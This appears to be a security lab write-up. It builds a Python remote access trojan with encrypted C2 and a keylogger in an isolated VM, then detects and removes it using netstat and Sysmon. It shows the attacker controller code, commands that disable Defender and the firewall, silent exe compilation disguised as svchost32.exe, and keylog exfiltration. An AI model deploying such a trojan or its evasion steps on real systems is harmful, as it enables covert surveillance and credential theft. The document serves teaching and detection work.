Post

Python RAT: AES-EAX C2 & Keylogger

Python RAT: AES-EAX C2 & Keylogger

Overview

This lab covers building a fully functional Remote Access Trojan (RAT) from scratch in Python, deploying it in a controlled Host-Only virtual environment, and then switching to the blue team side to detect and terminate it. The RAT uses AES-EAX authenticated encryption for all C2 traffic — no plaintext commands go over the wire.

Environment:

  • Kali Linux (Attacker): 192.168.0.101 — Host-Only network
  • Windows Server 2022 (Victim): 192.168.0.102 — Host-Only network
  • C2 Port: 8008/TCP

Everything below was performed inside an isolated Host-Only VM environment with no external network connectivity. No unauthorized systems were touched.


Section 1: Environment Setup & Network Configuration

Assigned static IPs on both VMs on a Host-Only network, then verified bidirectional connectivity and confirmed the C2 port was reachable.

Kali:

1
2
3
sudo ip addr add 192.168.0.101/24 dev eth0
sudo ip link set eth0 up
ip addr show eth0

Windows (PowerShell Admin):

1
2
New-NetIPAddress -InterfaceAlias 'Ethernet' -IPAddress 192.168.0.102 -PrefixLength 24
ipconfig /all

Connectivity checks:

1
2
# Kali → Windows
ping -c 4 192.168.0.102
1
2
# Windows → Kali (port reachability)
Test-NetConnection -ComputerName 192.168.0.101 -Port 8008

Also disabled Windows Defender and the firewall for the lab session:

1
2
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Set-MpPreference -DisableRealtimeMonitoring $true

Kali ip addr show Kali with static IP 192.168.0.101 assigned

Windows ipconfigall Windows Server with static IP 192.168.0.102

Ping from Kali to Windows 4/4 ping replies — bidirectional connectivity confirmed

Test-NetConnection port 8008 TcpTestSucceeded: True — C2 port reachable


Section 2: Installing Dependencies

On Kali:

1
2
3
sudo apt update && sudo apt install -y python3 python3-pip git
pip3 install pycryptodome pyautogui pynput pyinstaller psutil
pip3 list | grep -E 'pycryptodome|pyautogui|pynput|pyinstaller|psutil'

On Windows (PowerShell Admin):

1
2
pip install pycryptodome pyautogui pynput pyinstaller psutil
pip list
LibraryPurpose
pycryptodomeAES-EAX authenticated encryption for all C2 traffic
pyautoguiProgrammatic screenshot capture on the victim
pynputLow-level keyboard hook for the keylogger
pyinstallerBundles the script into a silent .exe
psutilEnumerate live processes by name

pip list on Kali All 5 libraries confirmed on Kali

pip list on Windows All 5 libraries confirmed on Windows

On Windows, pip wasn’t initially in PATH after installation. Using py -m pip install resolved this.


Section 3: Creating & Transferring the RAT Scripts

The RAT uses a reverse-shell model — the victim connects out to the attacker’s listener. All traffic is encrypted with AES-EAX and base64-encoded. Both scripts share the same 32-byte key.

Attacker Controller — hackerkey.py (Kali)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import socket, base64
from Crypto.Cipher import AES

KEY = b'0123456789abcdef0123456789abcdef'
IDENTIFIER = "<END_OF_COMMAND_RESULT>"
EOF_IDENTIFIER = "<END_OF_FILE_IDENTIFIER>"
CHUNK_SIZE = 2048

def encrypt_message(message):
    cipher = AES.new(KEY, AES.MODE_EAX)
    ct, _ = cipher.encrypt_and_digest(message.encode())
    return base64.b64encode(cipher.nonce + ct).decode()

def decrypt_message(encrypted):
    data = base64.b64decode(encrypted)
    cipher = AES.new(KEY, AES.MODE_EAX, nonce=data[:16])
    return cipher.decrypt(data[16:]).decode()

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.bind(("192.168.0.101", 8008))
srv.listen(5)
print("[*] Listening on 192.168.0.101:8008 ...")
conn, addr = srv.accept()
print(f"[+] Connection from {addr}")

while True:
    cmd = input("RAT> ")
    conn.send(encrypt_message(cmd).encode())
    if cmd == "stop":
        conn.close(); srv.close(); break
    # ... (download + receive loop)

Victim Agent — victimkey.py (Windows)

The victim script starts a keylogger thread immediately on launch, then connects back to the attacker over port 8008. It handles remote commands, screenshot capture, file download, and encrypted shell output.

Transfer to Windows:

1
2
3
# Kali: host the script
cd ~
python3 -m http.server 8080
1
2
3
# Windows: download it
Invoke-WebRequest -Uri "http://192.168.0.101:8080/victimkey.py" -OutFile "C:\Scripts\victimkey.py"
Get-Content C:\Scripts\victimkey.py | Select-Object -First 5

hackerkey.py first 15 lines on Kali Attacker controller script open on Kali

victimkey.py on Windows Victim agent confirmed in C:\Scripts


Section 4: Attacker Execution & Feature Demo

Launch order: always start hackerkey.py on Kali first (it listens), then run victimkey.py on Windows. The RAT> prompt appears once the victim connects.

1
2
# Kali
python3 ~/hackerkey.py
1
2
3
# Windows
cd C:\Scripts
python victimkey.py

Task 4a: Remote Command Execution

From the RAT> prompt on Kali:

1
2
3
4
RAT> whoami     → lab\admin
RAT> hostname   → Group2
RAT> dir C:\Users
RAT> Get-Date

Bug encountered: the first version of the receive loop crashed with a UnicodeDecodeError when output arrived in multiple chunks. Fix: buffer all chunks until <END_OF_COMMAND_RESULT> is detected before decrypting, and add .decode(errors="ignore") to handle Windows encoding differences.

RAT prompt with command output RAT session active — whoami, hostname, dir C:\Users returned from victim

Task 4b: Screenshot Capture & Download

1
2
RAT> screenshot           # Victim saves screenshot.png
RAT> download screenshot.png
1
xdg-open screenshot.png   # Open on Kali

screenshot.png opened on Kali Victim’s desktop captured and pulled to Kali

Task 4c: Keylogger Exfiltration

The keylogger starts automatically when victimkey.py launches, writing every keystroke to C:\temp\keys.log. After typing on the victim machine:

1
RAT> download C:\temp\keys.log
1
cat keys.log

keys.log content on Kali Keystrokes captured: Ctrl, Enter, and printable characters all logged

Task 4d: Silent EXE Compilation

1
2
3
4
5
6
7
8
9
10
# Windows
cd C:\Scripts
pyinstaller --onefile --noconsole victimkey.py
# Output: dist\victimkey.exe

# Rename to blend in:
Rename-Item ".\dist\victimkey.exe" ".\dist\svchost32.exe"

# Run silently — no console window:
.\dist\svchost32.exe

PyInstaller compilation output dist\victimkey.exe created successfully

Task Manager showing svchost32.exe Process running under svchost32.exe — no console window, blends in with system processes


Section 5: Defense & Mitigation

5.1 Detect with netstat

1
2
3
netstat -ano | findstr :8008
# TCP 192.168.0.102:XXXXX 192.168.0.101:8008 ESTABLISHED <PID>
tasklist | findstr <PID>

netstat showing ESTABLISHED on port 8008 Active C2 connection on port 8008 identified

5.2 Detect with Sysmon

1
2
3
4
5
6
7
8
# Event ID 1 — Process Creation
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 1 } | Select-Object -First 10

# Event ID 3 — Network Connection
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 3 -and $_.Message -like "*8008*" } |
Select-Object TimeCreated, Message | Format-List

Sysmon Event ID 1 - process creation Sysmon Event ID 1 showing svchost32.exe process creation with full command line

5.3 Terminate the RAT

1
2
3
4
5
6
7
8
# Kill by name
taskkill /F /IM svchost32.exe

# Block C2 port at the firewall
New-NetFirewallRule -DisplayName 'Block RAT Port 8008' -Direction Outbound -LocalPort 8008 -Protocol TCP -Action Block

# Verify connection closed
netstat -ano | findstr :8008   # Must return empty

taskkill confirmation + empty netstat svchost32.exe terminated and port 8008 connection confirmed closed

5.4 Re-enable Defenses

1
2
Set-MpPreference -DisableRealtimeMonitoring $false
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

Blue Team Takeaways

What worked for detection:

  • netstat -ano | findstr :8008 immediately flagged the outbound C2 connection
  • Sysmon Event ID 1 (Process Create) revealed svchost32.exe executing from C:\Scripts\dist\ — a non-standard path for anything named like a system binary
  • Sysmon Event ID 3 (Network Connection) tied the process to the outbound TCP session on port 8008

What made it harder to catch:

  • The binary was renamed to svchost32.exe to blend in with legitimate Windows processes in Task Manager
  • All C2 traffic was AES-EAX encrypted — no plaintext commands visible in a packet capture
  • The keylogger ran as a thread inside the same process, leaving no additional process entry

Key lesson: process name disguise is cheap and effective against casual inspection, but it falls apart the moment you check the binary path or hashsvchost32.exe in C:\Scripts\dist\ is an immediate red flag. Sysmon’s Image field in Event ID 1 always shows the full path.

This post is licensed under CC BY 4.0 by the author.